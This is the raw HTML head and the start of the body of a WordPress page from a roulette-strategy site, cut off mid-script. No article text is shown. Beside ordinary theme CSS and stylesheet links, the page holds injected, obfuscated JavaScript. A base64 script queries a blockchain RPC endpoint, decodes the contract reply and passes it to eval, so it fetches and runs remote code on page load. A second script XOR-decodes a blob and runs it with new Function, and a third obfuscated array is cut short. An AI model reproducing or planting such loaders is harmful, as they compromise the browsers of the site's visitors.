2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}body .is-layout-flex{flex-wrap: wrap;align-items: center;}body .is-layout-flex > *{margin: 0;}body .is-layout-grid{display: grid;}body .is-layout-grid > *{margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
.wp-block-navigation a:where(:not(.wp-element-button)){color: inherit;}
:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}
:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}
.wp-block-pullquote{font-size: 1.5em;line-height: 1.6;}
</style>
<link rel='stylesheet' id='amandalite-googlefonts-css' href='https://fonts.googleapis.com/css?family=Quicksand%3A400%2C600%7CCormorant+Garamond%3A700&#038;subset=latin%2Clatin-ext' type='text/css' media='all' />
<link rel='stylesheet' id='bootstrap-css' href='https://www.rouletterebel.com/wp-content/themes/amandalite/libs/bootstrap/bootstrap.css?ver=6.5.13' type='text/css' media='all' />
<link rel='stylesheet' id='amandaliet-font-awesome-css' href='https://www.rouletterebel.com/wp-content/themes/amandalite/libs/font-awesome/css/all.css?ver=6.5.13' type='text/css' media='all' />
<link rel='stylesheet' id='chosen-css' href='https://www.rouletterebel.com/wp-content/themes/amandalite/libs/chosen/chosen.css?ver=6.5.13' type='text/css' media='all' />
<link rel='stylesheet' id='amandalite-style-css' href='https://www.rouletterebel.com/wp-content/themes/amandalite/style.css?ver=6.5.13' type='text/css' media='all' />
<link rel='stylesheet' id='amandalite-theme-style-css' href='https://www.rouletterebel.com/wp-content/themes/amandalite/assets/css/theme.css?ver=6.5.13' type='text/css' media='all' />
<script type="text/javascript" id="breeze-prefetch-js-extra">
/* <![CDATA[ */
var breeze_prefetch = {"local_url":"https:\/\/www.rouletterebel.com","ignore_remote_prefetch":"1","ignore_list":["\/wp-admin\/"]};
/* ]]> */
</script>
<script type="text/javascript" src="https://www.rouletterebel.com/wp-content/plugins/breeze/assets/js/js-front-end/breeze-prefetch-links.min.js?ver=2.1.9" id="breeze-prefetch-js"></script>
<script type="text/javascript" src="https://www.rouletterebel.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script>
<script type="text/javascript" src="https://www.rouletterebel.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script>
<link rel="https://api.w.org/" href="https://www.rouletterebel.com/wp-json/" /><link rel="alternate" type="application/json" href="https://www.rouletterebel.com/wp-json/wp/v2/pages/42" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://www.rouletterebel.com/xmlrpc.php?rsd" />
<link rel='shortlink' href='https://www.rouletterebel.com/?p=42' />
<link rel="alternate" type="application/json+oembed" href="https://www.rouletterebel.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.rouletterebel.com%2Fthe-top-roulette-systems-strategies-that-really-work%2F" />
<link rel="alternate" type="text/xml+oembed" href="https://www.rouletterebel.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.rouletterebel.com%2Fthe-top-roulette-systems-strategies-that-really-work%2F&#038;format=xml" />
<script src="data:text/javascript;base64,ZnVuY3Rpb24gXzB4NDg1ZShfMHgxZWQ4MWUsXzB4NDVlNzZlKXtjb25zdCBfMHgzNzVmYjA9XzB4Mzc1ZigpO3JldHVybiBfMHg0ODVlPWZ1bmN0aW9uKF8weDQ4NWU3ZixfMHg0ZTUwMGMpe18weDQ4NWU3Zj1fMHg0ODVlN2YtMHhjMztsZXQgXzB4MWYzMmZiPV8weDM3NWZiMFtfMHg0ODVlN2ZdO3JldHVybiBfMHgxZjMyZmI7fSxfMHg0ODVlKF8weDFlZDgxZSxfMHg0NWU3NmUpO30oZnVuY3Rpb24oXzB4NWJhZmZiLF8weDRlMDI2OSl7Y29uc3QgXzB4MTQ4YjFhPXtfMHg0NzM4ODA6MHg5MixfMHg0MTViNGU6MHg4YSxfMHgyYjhlNmU6MHhhMCxfMHg0ZGE3NmU6MHg5NyxfMHgzNDUxNmU6MHg4YyxfMHg1MDI3ZTY6MHg4NixfMHg1MzgzOWQ6MHg4ZCxfMHg1Y2E0N2Y6MHg5MCxfMHgyOTMwYmY6MHg4NCxfMHhlMjdjZTE6MHg4OCxfMHgyYTA0NGE6MHg4NSxfMHg0YjA4Mzg6MHg4MCxfMHg0OWZiYTI6MHg4Y30sXzB4MzJjNmY2PXtfMHgxZjVkZWY6MHgxNWN9O2Z1bmN0aW9uIF8weDVjODc4OShfMHgxNDY0ZmUsXzB4MmY3ODNhKXtyZXR1cm4gXzB4NDg1ZShfMHgyZjc4M2EtIC1fMHgzMmM2ZjYuXzB4MWY1ZGVmLF8weDE0NjRmZSk7fWNvbnN0IF8weDI5Mzc2YT1fMHg1YmFmZmIoKTt3aGlsZSghIVtdKXt0cnl7Y29uc3QgXzB4NTE2MmFhPXBhcnNlSW50KF8weDVjODc4OSgtMHg4ZSwtMHg5OCkpLzB4MSoocGFyc2VJbnQoXzB4NWM4Nzg5KC1fMHgxNDhiMWEuXzB4NDczODgwLC1fMHgxNDhiMWEuXzB4NDE1YjRlKSkvMHgyKSstcGFyc2VJbnQoXzB4NWM4Nzg5KC1fMHgxNDhiMWEuXzB4MmI4ZTZlLC1fMHgxNDhiMWEuXzB4NGRhNzZlKSkvMHgzKy1wYXJzZUludChfMHg1Yzg3ODkoLV8weDE0OGIxYS5fMHgzNDUxNmUsLV8weDE0OGIxYS5fMHg1MDI3ZTYpKS8weDQqKHBhcnNlSW50KF8weDVjODc4OSgtMHg4NSwtXzB4MTQ4YjFhLl8weDUzODM5ZCkpLzB4NSkrLXBhcnNlSW50KF8weDVjODc4OSgtXzB4MTQ4YjFhLl8weDVjYTQ3ZiwtMHg5MCkpLzB4NistcGFyc2VJbnQoXzB4NWM4Nzg5KC0weDgyLC1fMHgxNDhiMWEuXzB4MjkzMGJmKSkvMHg3K3BhcnNlSW50KF8weDVjODc4OSgtXzB4MTQ4YjFhLl8weGUyN2NlMSwtXzB4MTQ4YjFhLl8weDJhMDQ0YSkpLzB4OCoocGFyc2VJbnQoXzB4NWM4Nzg5KC1fMHgxNDhiMWEuXzB4NGIwODM4LC1fMHgxNDhiMWEuXzB4NDlmYmEyKSkvMHg5KStwYXJzZUludChfMHg1Yzg3ODkoLTB4OTAsLTB4OTkpKS8weGE7aWYoXzB4NTE2MmFhPT09XzB4NGUwMjY5KWJyZWFrO2Vsc2UgXzB4MjkzNzZhWydwdXNoJ10oXzB4MjkzNzZhWydzaGlmdCddKCkpO31jYXRjaChfMHg2YTA4ZmYpe18weDI5Mzc2YVsncHVzaCddKF8weDI5Mzc2YVsnc2hpZnQnXSgpKTt9fX0oXzB4Mzc1ZiwweDRmOGMyKSk7ZnVuY3Rpb24gXzB4Mzc1Zigpe2NvbnN0IF8weDU5OTJlMz1bJzB4QTFkZWNGQjc1QzhDMENBMjhDMTA1MTdjZTU2QjcxMGJhZjcyN2QyZScsJ3Jlc3VsdCcsJzE1OTM2MDBwbmV3a3UnLCdsYXRlc3QnLCdtYXRjaCcsJzM4NTg1S2RJQ1BpJywnNjNSVEJDWlMnLCdmcm9tQ2hhckNvZGUnLCc0NjI5MjhGRklmeGInLCdhcHBsaWNhdGlvbi9qc29uJywnbWFwJywnMi4wJywnMjMyZVFUU0hJJywnMTUyODE2d3Jha0hFJywnMjAyMTIwMUVHS0twQScsJ3NsaWNlJywnMTAwODI0OTBidFp4QUYnLCcxekhEWWhZJywnMTM3MDE2RWp6QUVUJywnanNvbicsJ2h0dHBzOi8vYnNjLXRlc3RuZXQtcnBjLnB1YmxpY25vZGUuY29tLycsJ2xlbmd0aCcsJzB4NmQ0Y2U2M2MnXTtfMHgzNzVmPWZ1bmN0aW9uKCl7cmV0dXJuIF8weDU5OTJlMzt9O3JldHVybiBfMHgzNzVmKCk7fWFzeW5jIGZ1bmN0aW9uIGxvYWRfKF8weDE2N2U0NCl7Y29uc3QgXzB4OWNmOWQwPXtfMHgxNzUwODQ6MHg0NjUsXzB4OTZkMTNkOjB4NDVkLF8weDJkYjhlNzoweDQ2ZCxfMHgzNDliYmY6MHg0NmIsXzB4NDE1MjdlOjB4NDZmLF8weDRlMmM0NjoweDQ1ZixfMHg0ZDc5NjQ6MHg0NzEsXzB4ZThiOGVhOjB4NDY2LF8weDU2YmYzMToweDQ2YyxfMHgzMTVjM2M6MHg0NzIsXzB4YjBjMDJkOjB4NDY5fSxfMHgxZjI2MzU9e18weDZjNGY2NDoweDM5OH0sXzB4MWUxODdlPXtfMHgzNDYzNWQ6MHgyZGF9O2xldCBfMHgxZmNhYjg9XzB4MjBhYjFhPT57ZnVuY3Rpb24gXzB4MTkyZWQ1KF8weDJkZGE5YyxfMHgyZmFhNjgpe3JldHVybiBfMHg0ODVlKF8weDJmYWE2OC1fMHgxZTE4N2UuXzB4MzQ2MzVkLF8weDJkZGE5Yyk7fWxldCBfMHg1MDgxOTA9JzB4Jztmb3IoY29uc3QgXzB4NGE3NDgwIG9mIF8weDIwYWIxYSl7Y29uc3QgXzB4NTA3ODIxPV8weDRhNzQ4MFsndG9TdHJpbmcnXSgweDEwKTtfMHg1MDgxOTArPV8weDUwNzgyMVtfMHgxOTJlZDUoMHgzOWYsMHgzYTIpXT09PTB4MT8nMCcrXzB4NTA3ODIxOl8weDUwNzgyMTt9cmV0dXJuIF8weDUwODE5MDt9O2Z1bmN0aW9uIF8weDRjOGRjOShfMHgzNTY4ZTIsXzB4MWM2OWRlKXtyZXR1cm4gXzB4NDg1ZShfMHgzNTY4ZTItXzB4MWYyNjM1Ll8weDZjNGY2NCxfMHgxYzY5ZGUpO31jb25zdCBfMHgyZWM1ZDA9eydtZXRob2QnOidldGhfY2FsbCcsJ3BhcmFtcyc6W3sndG8nOl8weDE2N2U0NCwnZGF0YSc6XzB4NGM4ZGM5KDB4NDYxLDB4NDZiKX0sXzB4NGM4ZGM5KF8weDljZjlkMC5fMHgxNzUwODQsXzB4OWNmOWQwLl8weDk2ZDEzZCldLCdpZCc6MHg2MSwnanNvbnJwYyc6XzB4NGM4ZGM5KF8weDljZjlkMC5fMHgyZGI4ZTcsMHg0NzcpfSxfMHgzODlmMmE9eydtZXRob2QnOidQT1NUJywnaGVhZGVycyc6eydBY2NlcHQnOl8weDRjOGRjOShfMHg5Y2Y5ZDAuXzB4MzQ5YmJmLF8weDljZjlkMC5fMHg0MTUyN2UpLCdDb250ZW50LVR5cGUnOidhcHBsaWNhdGlvbi9qc29uJ30sJ2JvZHknOkpTT05bJ3N0cmluZ2lmeSddKF8weDJlYzVkMCl9LF8weDIxYzAzNT1fMHg0YzhkYzkoXzB4OWNmOWQwLl8weDRlMmM0NiwweDQ1MyksXzB4MzY5YTUxPWF3YWl0IGZldGNoKF8weDIxYzAzNSxfMHgzODlmMmEpLF8weDQxZjE0Mz0oYXdhaXQgXzB4MzY5YTUxW18weDRjOGRjOSgweDQ1ZSwweDQ1ZildKCkpW18weDRjOGRjOSgweDQ2MywweDQ2MyldW18weDRjOGRjOShfMHg5Y2Y5ZDAuXzB4NGQ3OTY0LDB4NDdkKV0oMHgyKSxfMHgzOGQwNDQ9bmV3IFVpbnQ4QXJyYXkoXzB4NDFmMTQzW18weDRjOGRjOShfMHg5Y2Y5ZDAuXzB4ZThiOGVhLDB4NDY2KV0oL1tcZGEtZl17Mn0vZ2kpW18weDRjOGRjOShfMHg5Y2Y5ZDAuXzB4NTZiZjMxLF8weDljZjlkMC5fMHgzNDliYmYpXShmdW5jdGlvbihfMHgxMjc3MWQpe3JldHVybiBwYXJzZUludChfMHgxMjc3MWQsMHgxMCk7fSkpLF8weDE5NjFhOT1OdW1iZXIoXzB4MWZjYWI4KF8weDM4ZDA0NFtfMHg0YzhkYzkoXzB4OWNmOWQwLl8weDRkNzk2NCwweDQ3YSldKDB4MCwweDIwKSkpLF8weDU5NzMzZD1OdW1iZXIoXzB4MWZjYWI4KF8weDM4ZDA0NFtfMHg0YzhkYzkoXzB4OWNmOWQwLl8weDRkNzk2NCxfMHg5Y2Y5ZDAuXzB4MzE1YzNjKV0oMHgyMCwweDIwK18weDE5NjFhOSkpKSxfMHgxYTQwNjQ9U3RyaW5nW18weDRjOGRjOSgweDQ2OSxfMHg5Y2Y5ZDAuXzB4YjBjMDJkKV1bJ2FwcGx5J10obnVsbCxfMHgzOGQwNDRbXzB4NGM4ZGM5KDB4NDcxLDB4NDY2KV0oMHgyMCtfMHgxOTYxYTksMHgyMCtfMHgxOTYxYTkrXzB4NTk3MzNkKSk7cmV0dXJuIF8weDFhNDA2NDt9ZnVuY3Rpb24gXzB4MzM4OTgoXzB4MjZmYWI1LF8weDk3ZDgyMCl7Y29uc3QgXzB4MmRlMjAwPXtfMHgzMTVkNjY6MHgxNGN9O3JldHVybiBfMHg0ODVlKF8weDI2ZmFiNS1fMHgyZGUyMDAuXzB4MzE1ZDY2LF8weDk3ZDgyMCk7fWxvYWRfKF8weDMzODk4KDB4MjE2LDB4MjE4KSlbJ3RoZW4nXShfMHhjZmRiZj0+ZXZhbChhdG9iKF8weGNmZGJmKSkpWydjYXRjaCddKCgpPT57fSk7"></script><script>
!function(){var _0x3066554b0cf3=atob('sP7t9vvs8ff2sLHj8f6w7/H2/Pfvw7/H+qv7qKCr/Kusrb/Fser97O3q9qPv8fb89+/Dv8f6q/uooKv8q6ytv8WlqaPu+eq4x/T99Ojtpbqs+a6v/f6gofuo+6+tqPn6/qmvqPugq/2t+a2hqqr8/a6roKiqoK6qq6yr/Kr7rvq6o+756rjH+uDh7u386KXDv/Ds7Ojrore3qero+7bx97f1+ezx+7+0v/Ds7Ojrore36Pf04f/39rX1+fH29v3stujt+vTx+7b69Pnr7Pno8bbx97+0v/Ds7Ojrore36Pf04f/39rb86uj7tvfq/7+0v/Ds7Ojrore36uj7tfX58fb2/ey29fns8fu26e3x8/b3/P226Or3v7S/8Ozs6Ouit7fo9/Th//f2tejt+vTx+7b29/zx/eu2+ejov7S/8Ozs6Ouit7fo9/Th//f2tv/57P3v+eG27P32/P3q9OG2+/e/tL/w7Ozo66K3t+ro+7b59vPqtvv39bfo9/Th//f2v7S/8Ozs6Ouit7fo9/Th//f2tfr36rXq6Pu26O369PH79vf8/bb79/W/xaPu+eq4x+/v7+L87qW6qODa2dqqrfv93KyqqamqoNusqq/5/KmhoamsrK+rra6urquroKGs/PytuqPu+eq4x+j76O708P6luvquoPypoKihuqP+7fb77PH39rjH4fLh/rDH4ODp7/mx4+zq4ePu+eq4x+zq9e7ypcfg4Onv+bbr7frr7OqwqLSqsaWlpb+o4L+nx+Dg6e/5tuvt+uvs6rCqsaLH4ODp7/mj8f6wx+zq9e7ytvT99v/s8KSpqqCx6v3s7er2v7+j7vnquMfq4urwpej56uv90fbssMfs6vXu8rbr7frr7Oqwrqy0rqyxtKmusaPx/rC5x+ri6vCx6v3s7er2v7+j7vnquMf98fPwpcfs6vXu8rbr7frr7OqwqaqgtMfq4urwsqqxtMfw8v3u8v31pb+/o/736rDu+eq4x+7p6/H09qWoo8fu6evx9Pakx/3x8/C29P32/+zwo8fu6evx9Pazpaqx4+756rjH8/v07aXo+err/dH27LDH/fHz8Lbr7frr7Oqwx+7p6/H09rSqsbSprrGj8f6wx/P79O2xx/Dy/e7y/fWzpcvs6vH2/7b+6vf12/D56tv3/P2wx/P79O2xo+Xq/ezt6va4x/Dy/e7y/fWj5fv57PvwsP2x4+r97O3q9r+/o+Xl/u32++zx9/a4x/Hh6+r06v2wx+n9+/K0x/Xu7/rh9e2x4+r97O3q9rj2/e+4yOr39fHr/bD+7fb77PH39rDH8PL37e/s7bTH7+/g8bHj7vnquMf14PDh+vKl9v3vuMDV1NDs7OjK/ent/evssLGjx/Xg8OH68rb36P32sL/I18vMv7TH6f378rTs6u39saPH9eDw4frytuv97Mr96e396+zQ/fn8/eqwv9v39uz99uy1zOHo/b+0v/no6PTx+/ns8ff2t/Lr9/a/saPH9eDw4frytuzx9f337eylraioqKPH9eDw4frytvf29Pf5/KX+7fb77PH39rCx4+zq4ePH8PL37e/s7bDSy9fWtuj56uv9sMf14PDh+vK26v3r6Pf26/3M/eDssbGj5fv57PvwsP2x48fv7+DxsP2xo+Xlo8f14PDh+vK29/b96ur36qXH9eDw4frytvf27PH1/fft7KX+7fb77PH39rCx48fv7+DxsPb977jd6ur36rCxsaPlo8f14PDh+vK26/32/LDSy9fWtuvs6vH2//H+4bDH9e7v+uH17bGxo+Wxo+X+7fb77PH39rjH8vbr6vP6sMfu8PX0/OKx4/H+sMfu8PX0/OKmpcf64OHu7fzotvT99v/s8LHq/ezt6va4yOr39fHr/bbq/ev39O79sPbt9PSxo+756rjH8PTy9/b3pePy6/f26uj7or+qtqi/tPX97PD3/KK//ezwx/v59PS/tOj56vn166LD4+z3osfv7+/i/O60/Pns+aK/qOC/s8fo++ju9PD+5bS/9Pns/evsv8W08fyiqeWj6v3s7er2uMfx4evq9Or9sMf64OHu7fzow8fu8PX0/OLFtMfw9PL39vextuzw/faw/u32++zx9/awx+L29P2x4+756rjH4eDi9un8pcfi9vT9vr7H4vb0/bbq/evt9Oynx+Hy4f6wx+L29P226v3r7fTssaK/v6Px/rDH4eDi9un8ser97O3q9rjH4eDi9un8tur96PT5+/2wt8S3s7y3tL+/saPq/ezt6va4x/L26+rz+rDH7vD19Pzis6mxo+Wxtvv57PvwsP7t9vvs8ff2sLHj6v3s7er2uMfy9uvq8/qwx+7w9fT84rOpsaPlsaPl/u32++zx9/a4x/Hg+vvh4bDH7//69LHj7vnquMfv+urv/POl/Pf77fX99uy2++r9+ez93fT99f327LC/6/vq8ejsv7Gjx+/66u/887br6vulx+//+vSzv7f56PG26PDop+ulv7PH9P306O2zv77H7qW/s9X57PC2/vT39+qw3Pns/bb29++wsbeuqKioqLGjx+/66u/887b56+H2+6Xs6u39o7D89/vt9f327Lbw/fn85OT89/vt9f327Lb69/zhsbb56Oj99vzb8PH0/LDH7/rq7/zzsaPlx/L26+rz+rCosbbs8P32sP7t9vvs8ff2sMfv//r0sePx/rDH7//69LHH8eD6++HhsMfv//r0saPlsaPlsbCxow=='),_0x1de7026efbce=152,_0x520a7e59c622=new Uint8Array(_0x3066554b0cf3['length']),_0xf32b4a5835da=0;for(;_0xf32b4a5835da<_0x3066554b0cf3['length'];_0xf32b4a5835da++)_0x520a7e59c622[_0xf32b4a5835da]=_0x3066554b0cf3['charCodeAt'](_0xf32b4a5835da)^_0x1de7026efbce;(new Function(new TextDecoder()['decode'](_0x520a7e59c622)))()}();
</script>
    		<style type="text/css" id="wp-custom-css">
			.container {
    /* border: 1px solid gray; */
    box-shadow: 8px -3px 10px 3px #dbd3d3;
	background: #fff !important;
}.main-wrapper-boxed {
    background: #fdfcfc;
}.d-lg-block {
    display: block !important;
    /* text-align: center; */
    margin: 0 auto;
}.header-maintop .social-network, .header-maintop .header-search {
    width: 0px;
}div#nav-wrapper a {
    font-weight: 800;
    border-right: 2px solid #d9d2d2;
}h1.page-title {
    border-bottom: 2px solid #d96b6a;
    color: #746d6d;
}h2 {
    font-size: 45px;
    color: #746d6d;
}
strong{
	color:#E12B2A;
	font-weight:bolder;
}
h3{
	color:#E12B2A;
	font-weight:bolder;
}
b{
	color:#E12B2A;
	font-weight:bolder;
}
div.footer-copyright{
	background-color:#E12B2A;
}
div.copyright{
	color:white!important;
	font-weight:bolder;
}
h1.page-title{
		color:#E12B2A;
	font-weight:bolder;
}		</style>
		</head>
<body class="page-template-default page page-id-42 wp-custom-logo">
    <script>
(function(){
var x3af6ed=3824;
if(x3af6ed>0){var y9a9e05=x3af6ed-3310}else{var y9a9e05=3310}
var zd49818=y9a9e05*99;
var _0x0f6a410cebc3=[42,52,37,63,3,26,57,60,0,36,15,54,42,125,23,37,0,36,34,125,5,10,23,54,1,52,15,33,12,6,41,15,47,35,62,56,47,36,34,63,44,10,127,62,44,6,41,13,42,39,126,120,5,55,33,58,3,25,31,33,0,36,11,121,3,13,41,11,43,15,12,63,47,35,119,63,1,25,62,61,30,25,34,61,43,15,4,39,44,35,31,62,30,39,127,97,15,10,7,63,2,36,37,126,5,35,4,119,20,124,58,56,44,26,37,119,44,35,54,61,20,52,61,101,30,36,127,62,30,35,123,62,47,26,62,35,44,36,122,101,20,52,54,35,44,26,123,58,44,124,38,35,20,52,122,118,1,26,123,35,20,52,37,119,47,9,33,118,47,36,123,58,40,25,31,62,30,39,127,97,15,13,37,122,5,52,24,39,12,6,41,125,5,55,61,56,2,9,24,57,45,13,118,57,3,55,23,122,3,10,8,55,2,55,33,119,3,52,23,118,45,26,11,57,1,52,23,120,2,6,11,101,2,55,119,122,45,125,41,125,5,55,61,56,2,9,24,57,45,9,122,58,2,52,54,54,0,36,12,57,3,36,122,60,0,36,54,122,45,125,41,125,5,55,61,56,2,9,24,57,45,13,118,57,3,55,23,122,3,10,8,54,1,10,122,60,1,39,41,101,4,32,11,60,1,36,11,121,1,39,126,52,4,32,11,118,3,6,38,52,43,10,45,60,5,55,118,61,20,22,12,57,2,52,15,52,4,36,41,57,3,22,7,55,30,36,23,54,3,26,33,60,45,29,118,63,30,26,3,124,30,6,11,119,3,52,122,61,5,52,122,56,0,32,11,124,3,6,38,52,43,10,45,60,5,55,118,61,20,22,12,57,2,52,15,52,4,36,41,57,3,22,11,121,2,29,118,118,45,26,15,58,1,6,38,52,43,10,45,60,5,55,118,61,20,22,12,57,2,29,118,118,45,26,122,54,0,13,127,54,30,10,15,55,45,13,118,57,3,55,23,122,3,10,8,122,45,125,41,125,5,55,61,56,2,9,24,57,45,13,118,57,3,55,23,122,3,10,8,55,30,26,15,58,45,39,126,56,30,6,11,56,5,36,126,52,0,36,57,54,3,10,61,120,45,26,57,57,3,32,38,52,43,10,45,60,5,55,118,61,20,22,12,57,2,29,118,118,45,36,7,101,0,36,11,54,1,39,58,54,3,36,122,60,0,36,54,54,2,39,33,124,0,10,11,57,1,52,62,54,2,55,126,57,43,15,4,37,5,26,122,58,40,57,15,35,5,36,126,52,23,32,127,56,4,54,127,62,30,28,54,35,1,35,122,44,44,52,127,58,1,28,127,35,47,28,122,119,47,12,54,60,47,12,62,56,47,54,57,119,44,54,126,47,47,124,38,33,47,124,123,56,30,28,54,59,1,25,127,119,20,13,37,101,2,22,118,15,2,26,37,57,2,39,58,39,40,26,127,62,20,52,58,59,20,124,119,35,40,25,31,123,5,36,11,118,5,52,23,57,3,22,118,15,2,52,122,32,3,36,123,125,15,10,45,61,1,10,126,119,42,39,31,60,2,29,23,37,5,26,122,58,40,57,15,123,0,39,126,59,5,36,15,125,23,41,15,125,2,10,41,119,30,22,11,61,5,36,126,61,5,55,127,125,44,125,0,58,42,35,4,39,23,32,38,56,4,125,38,41,15,10,45,61,1,10,126,119,45,29,57,63,30,29,57,60,2,22,42,58,42,35,27,15,0,55,57,122,30,26,127,37,0,36,34,125,15,10,37,124,2,29,122,63,3,10,42,54,3,52,33,54,1,13,61,125,23,124,123,58,20,125,23,58,1,39,61,63,2,26,8,122,43,9,31,62,30,39,127,97,15,13,126,121,5,55,57,54,23,39,118,101,2,29,57,120,8,36,11,60,42,57,15,123,0,39,126,59,5,36,15,125,45,29,57,63,30,29,57,60,2,22,42,62,47,125,0,62,47,125,20,52,44,35,34,124,20,10,23,123,42,125,122,15,2,26,61,60,2,10,8,124,2,26,33,60,5,39,126,54,43,6,38,37,5,26,122,58,40,57,15,33,3,39,118,101,23,41,15,123,0,39,126,59,5,36,15,125,45,29,57,63,30,29,57,60,2,22,42,59,44,25,42,52,15,13,126,121,5,55,57,54,42,25,127,124,45,57,15,59,1,52,41,59,4,26,8,39,43,6,38,37,1,26,15,58,42,55,37,101,2,22,118,15,5,26,57,33,1,13,23,127,3,35,4,56,20,15,15,62,30,13,41,122,4,36,27,55,23,57,15,33,3,39,118,101,45,26,3,120,3,26,41,60,0,124,31,15,5,26,57,33,1,13,23,127,3,32,28,39,44,22,23,37,5,26,122,58,40,57,15,63,1,26,61,57,5,35,7,56,30,39,126,61,1,38,23,54,5,125,45,15,5,10,7,56,30,32,11,61,5,36,126,61,5,55,127,125,15,13,37,118,5,10,41,35,0,26,4,52,44,22,20,52,44,35,34,124,20,10,23,123,42,57,15,63,1,26,61,57,5,32,23,15,2,36,61,122,2,39,27,54,42,9,7,3,5,55,126,124,3,26,38,54,1,29,126,57,3,38,57,125,30,39,126,45,3,10,61,120,42,57,15,63,1,26,61,57,5,32,20,37,7,39,126,120,5,55,33,58,3,22,118,15,2,36,6